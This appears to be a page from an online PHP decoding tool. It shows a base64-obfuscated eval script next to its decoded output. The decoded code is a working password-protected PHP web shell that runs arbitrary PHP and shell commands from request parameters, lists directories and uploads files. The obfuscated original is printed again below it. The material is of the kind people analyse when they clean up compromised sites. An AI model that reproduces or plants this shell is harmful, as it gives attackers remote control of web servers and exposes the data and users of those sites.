Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApO3NldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtz..
Decoded Output download
error_reporting(0);set_magic_quotes_runtime(0);session_start();
$password='cc4fbc3bbef2b6d581f85a3af9e36501';
if(md5($_REQUEST['password'])==$password or $_SESSION['login']=='1'){
$_SESSION['login']='1';
if($_REQUEST['eval']){eval($_REQUEST['eval']);}
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){$s="\";}else{$s="/";}$ad=$_REQUEST['ad'];
if ($ad){chdir($ad);}else{$ad=getcwd();}if ($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
if ($hr = opendir($ad)) {while($f = readdir($hr)){if(is_dir($f)){$df=$df.$f.'
';}else{$lf=$lf.$f.'
';}}closedir($hr);}$form='<form action="" method=get>';echo '<center><textarea cols=90 rows=20>';if($_GET['cme']){passthru($_GET['cme']);}else{echo $df.$lf;};echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'><input type=submit value=Go></form>'.$form.'Command Execute : <input name=cme size=50 value=id> <input type=submit value=eXecute></form><form action="" method=post enctype=multipart/form-data>Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='.getcwd().'><input type=submit value=Send></form>';
}
Did this file decode correctly?
Original Code
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApO3NldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtzZXNzaW9uX3N0YXJ0KCk7DQokcGFzc3dvcmQ9J2NjNGZiYzNiYmVmMmI2ZDU4MWY4NWEzYWY5ZTM2NTAxJzsNCmlmKG1kNSgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pPT0kcGFzc3dvcmQgb3IgJF9TRVNTSU9OWydsb2dpbiddPT0nMScpew0KJF9TRVNTSU9OWydsb2dpbiddPScxJzsNCml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